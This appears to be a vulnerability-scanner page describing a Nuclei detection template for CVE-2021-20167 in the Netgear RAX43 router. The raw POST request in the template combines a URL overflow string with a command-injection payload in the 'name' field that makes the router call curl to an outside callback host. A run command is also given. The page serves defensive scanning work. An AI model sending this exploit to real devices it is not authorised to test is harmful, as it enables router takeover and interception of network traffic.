Netgear RAX43 1.0.3.96 - Command Injection/Authentication Bypass Buffer Overrun

highseverity

8CVSS score

7%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Netgear RAX43 version 1.0.3.96 contains a command injection and authentication bypass vulnerability. The readycloud_control.cgi CGI application is vulnerable to command injection in the name parameter. Additionally, the URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the application. Note: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167.

Impact

Authenticated attackers can execute arbitrary commands on the router, potentially compromising all network traffic and connected devices.

Fix

Upgrade to newer release of the RAX43 firmware.

How to confirm it

Send: POST /cgi-bin/readycloud_control.cgi?11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111…
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2021-20167 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-20167

info:
  name: Netgear RAX43 1.0.3.96 - Command Injection/Authentication Bypass Buffer Overrun
  author: gy741
  severity: high
  description: 'Netgear RAX43 version 1.0.3.96 contains a command injection and authentication bypass vulnerability. The readycloud_control.cgi CGI application is vulnerable to command injection in the name parameter. Additionally, the URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the application. Note: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167.'
  impact: |
    Authenticated attackers can execute arbitrary commands on the router, potentially compromising all network traffic and connected devices.
  remediation: Upgrade to newer release of the RAX43 firmware.
  reference:
    - https://www.tenable.com/security/research/tra-2021-55
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20166
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20167
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8
    cve-id: CVE-2021-20167
    cwe-id: CWE-77
    epss-score: 0.07042
    epss-percentile: 0.94243
    cpe: cpe:2.3:o:netgear:rax43_firmware:1.0.3.96:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: rax43_firmware
  tags: cve2021,cve,tenable,netgear,rce,router,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1
        Host: {{Hostname}}

        "name":"';$(curl {{interactsh-url}});'",
        "email":"[email protected]"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from